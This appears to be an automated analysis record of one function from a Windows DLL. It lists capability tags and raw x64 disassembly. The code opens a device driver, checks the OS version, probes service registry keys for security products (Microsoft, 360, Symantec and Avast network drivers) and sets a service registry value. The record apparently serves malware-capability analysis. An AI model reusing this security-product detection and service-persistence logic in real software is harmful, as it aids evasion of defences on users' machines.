Function at 0x180001bcc
Capabilities:
Check os version
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
jmp 0x180014420
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x180058500]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov rsi, rcx
mov qword [rsp + 0x20], rcx
lea r9, str..CtrlSM
lea rcx, [rbp + 0x110]
lea r8, str._s_s
xor r15d, r15d
mov edx, 0x104
mov ebx, r15d
call fcn.180019520
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x110]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x40000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test byte [0x18005a6b8], 4
mov r14d, eax
jne 0x180014521
cmp rdi, 0xffffffffffffffff
jne 0x18001452b
inc ebx
mov edx, ebx
dec edx
jne 0x18001486e
xor edx, edx
mov rcx, rsi
call fcn.1800154e0
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x110]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x40000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test byte [0x18005a6b8], 4
mov r14d, eax
je 0x1800144c3
cmp rdi, 0xffffffffffffffff
je 0x18001486e
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x9c
call fcn.180017970
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp rdi, 0xffffffffffffffff
je 0x1800145f9
mov qword [rsp + 0x38], r15
lea rax, [rsp + 0x4c]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x48]
xor r8d, r8d
mov edx, 0x22019c
mov rcx, rdi
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x48], r15d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1800145f9
cmp dword [rsp + 0x4c], r15d
jbe 0x1800145f9
lea r9, [0x1800449ec]
lea r8, str.SYSTEMCurrentControlSetServices_s
lea rcx, [rbp]
mov edx, 0x104
call fcn.180019520
lea rax, [rsp + 0x40]
lea rdx, [rbp]
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x18001486e
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dl, 1
jmp 0x180014866
mov eax, dword [rsp + 0x64]
cmp eax, 6
jb 0x180014613
jne 0x18001486e
cmp dword [rsp + 0x68], 1
ja 0x18001486e
lea r9, str.nisdrv
lea r8, str.SYSTEMCurrentControlSetServices_s
lea rcx, [rbp]
mov edx, 0x104
mov dword [rsp + 0x48], r15d
call fcn.180019520
lea rax, [rsp + 0x40]
lea rdx, [rbp]
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1800146ec
lea r9, str.360netmon
lea r8, str.SYSTEMCurrentControlSetServices_s
lea rcx, [rbp]
mov edx, 0x104
call fcn.180019520
lea rax, [rsp + 0x40]
lea rdx, [rbp]
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1800146ec
lea r9, str.symnets
lea r8, str.SYSTEMCurrentControlSetServices_s
lea rcx, [rbp]
mov edx, 0x104
call fcn.180019520
lea rax, [rsp + 0x40]
lea rdx, [rbp]
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x18001479d
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [0x180044a20]
lea rcx, [rbp]
mov r9, rsi
mov edx, 0x104
call fcn.180019520
lea rax, [rsp + 0x40]
lea rdx, [rbp]
mov r9d, 3
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180014815
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x4c]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
lea rdx, [0x1800449fc]
xor r8d, r8d
mov dword [rsp + 0x4c], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x40]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x180014815
cmp dword [rsp + 0x48], r15d
jne 0x180014815
xor edx, edx
mov rcx, rsi
call fcn.180014bc0
jmp 0x180014815
lea r8, [0x180044a20]
lea rcx, [rbp]
mov r9, rsi
mov edx, 0x104
call fcn.180019520
lea rax, [rsp + 0x40]
lea rdx, [rbp]
mov r9d, 3
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180014815
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
lea rdx, [0x180044a14]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r9, str.aswstm
lea r8, str.SYSTEMCurrentControlSetServices_s
lea rcx, [rbp]
mov edx, 0x104
call fcn.180019520
lea rax, [rsp + 0x40]
lea rdx, [rbp]
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x18001486e
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov rcx, rsi
call fcn.180015710
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rdi
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.180019420
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret